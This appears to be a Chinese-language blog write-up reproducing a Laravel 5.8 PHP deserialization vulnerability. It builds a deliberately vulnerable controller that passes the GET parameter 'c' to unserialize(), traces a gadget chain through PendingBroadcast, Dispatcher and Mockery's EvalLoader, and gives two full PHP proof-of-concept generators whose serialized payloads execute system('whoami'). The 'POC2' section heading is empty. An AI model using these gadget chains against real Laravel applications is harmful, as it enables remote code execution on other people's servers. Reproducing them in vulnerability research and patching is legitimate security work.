laravel5.8 反序列化漏洞复现
环境搭建
composer create-project –prefer-dist laravel/laravel laravel58 php artisan serve
然后在route/web.php下添加一个路由
Route::get("/","\App\Http\Controllers\DemoController@demo");
在app/http/controllers/DemoController创建DemoController.php
<?php
namespace App\Http\Controllers;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
访问/demo

漏洞分析
POC1
还是destruct PendingBroadcast.php的destruct() $this->events $this->event都是可控的 全局找dispatch函数 看看有没有可以利用的
找到一个Dispatcher类中的dispatch方法 跟进dispatchToQueue()方法
发现有call_user_func()然后就想办法利用 想要进入到这个dispatchToQueue()方法要先满足这个if
$this->queueResolver是可控的然后跟进commandShouldBeQueued方法
$command必须是ShowldQueue的对象 可以给ShowldQueue的对象添加一个connection的属性用来控制回调函数的参数
选QueuedCommand这个类
commandShouldBeQueued方法返回true 进入dispatchToQueue
poc
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="whoami";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
调用任意类方法
参数可控并且可以调用任意类 找一下命令执行的 eval EvalLoader类中的eval 先看一下getCode方法
code是完全可控的 然后再返回看if 只要绕过这个if就可以执行eval $definition是MockDefinition的实例
也是完全可控的
config是MockConfiguration实例
poc
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct()
{
$this->connection=new MockDefinition();
}
}
}
namespace Mockery\Generator{
class MockDefinition{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php echo system('whoami'); exit(); ?>";
$this->config=new MockConfiguration();
}
}
class MockConfiguration{
protected $name='rainy';
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct()
{
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader{
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
POC2
laravel5.8 反序列化漏洞复现
http://example.com/2021/05/31/OldBlog/laravel5-8-反序列化漏洞复现/